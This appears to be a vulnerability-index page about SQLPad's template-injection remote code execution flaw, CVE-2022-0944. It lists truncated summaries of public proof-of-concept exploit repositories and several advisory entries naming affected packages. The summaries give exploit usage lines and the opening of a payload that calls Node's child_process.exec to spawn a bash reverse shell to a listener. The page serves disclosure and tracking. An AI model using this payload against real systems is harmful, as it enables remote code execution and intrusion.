CVE-2022-0944

CVE-2022-0944 SQLPad - Template injection This is a blind vulnerability, meaning that the output is directly returned in the response. Exploit Use the script with the following command: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password passwo...

CVE-2022-0944

CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password log...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE Exploit This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution RCE via the /api/test-connection endpoint. Overview The provided script exploit.py demonstrates how to exploit the RCE vulnerability in SQLPad. The scri...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

SQLPad-RCE-Exploit-CVE-2022-0944

How It Works: This PHP code is designed to exploit a Remote Code Execution RCE vulnerability in SQLPad , related to CVE-2022-0944. It works by injecting malicious code into the SQLPad application, forcing it to execute a system command that opens a reverse shell – a connection that grants the...

CVE-2022-0944_RCE_POC

CVE-2022-0944 Proof of concept exploit for SQLPad RCE CVE-2022-0944 leading to a RCE with a revershell to the attackers PC. Usage usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell Example: trigger...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 Exploit CVE-2022-0944 This Bash script exploits an RCE vulnerability in SQLPad 6.10.0, allowing an attacker to achieve remote code execution RCE by abusing the host and database fields in SQLPad’s MySQL database connection settings. The exploit leverages SQLPad’s unsanitized handlin...

GHSA-JGGR-W7FW-PC2J vulnerabilities

Vulnerabilities for packages: langfuse-fips, dotstatsuite-supercore, langfuse, sqlpad...

GHSA-JGGR-W7FW-PC2J vulnerabilities

Vulnerabilities for packages: sqlpad, langfuse...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: homepage, npm, langfuse, commercial-gitlab-rails-ee-fips, unleash, unleash-fips, langfuse-fips, actions-runner, lerna, code-server, commercial-gitlab-rails-ee, unleash-proxy, sqlpad, kibana, prism, librechat, graalvm, wazuh-dashboard, opensearch-dashboards, pulumi,...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: homepage, npm, langfuse, commercial-gitlab-rails-ee-fips, unleash, unleash-fips, langfuse-fips, actions-runner, lerna, code-server, commercial-gitlab-rails-ee, unleash-proxy, sqlpad, kibana, prism, librechat, graalvm, wazuh-dashboard, opensearch-dashboards, pulumi,...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: homepage, npm, langfuse, commercial-gitlab-rails-ee-fips, unleash, unleash-fips, langfuse-fips, actions-runner, lerna, code-server, commercial-gitlab-rails-ee, unleash-proxy, sqlpad, kibana, prism, librechat, graalvm, wazuh-dashboard, opensearch-dashboards, pulumi,...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: homepage, npm, langfuse, commercial-gitlab-rails-ee-fips, unleash, unleash-fips, langfuse-fips, actions-runner, lerna, code-server, commercial-gitlab-rails-ee, unleash-proxy, sqlpad, kibana, prism, librechat, graalvm, wazuh-dashboard, opensearch-dashboards, pulumi,...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: sqlpad, prism, npm, pulumi, opensearch-dashboards, code-server, lerna, renovate...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: sqlpad, prism, npm, pulumi, opensearch-dashboards, code-server, lerna, renovate...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: sqlpad, prism, npm, pulumi, opensearch-dashboards, code-server, lerna, renovate...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: sqlpad, prism, npm, pulumi, opensearch-dashboards, code-server, lerna, renovate...

CVE-2026-77301 vulnerabilities

Vulnerabilities for packages: sqlpad, saf...

GHSA-7Q85-XJ36-VMFC vulnerabilities

Vulnerabilities for packages: sqlpad, saf...

CLEANSTART-2026-FG94911 Security fix for GHSA-8qq5-rm4j-mr97 applied in: mongosh 2.5.10-r5, mongosh 2.8.1-r0, renovate 43.4.4-r0, sqlpad 7.5.7-r0, thingsboard 4.2.1.1-r1, thingsboard-tb-web-ui 4.2.1.1-r1

GHSA-8qq5-rm4j-mr97 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...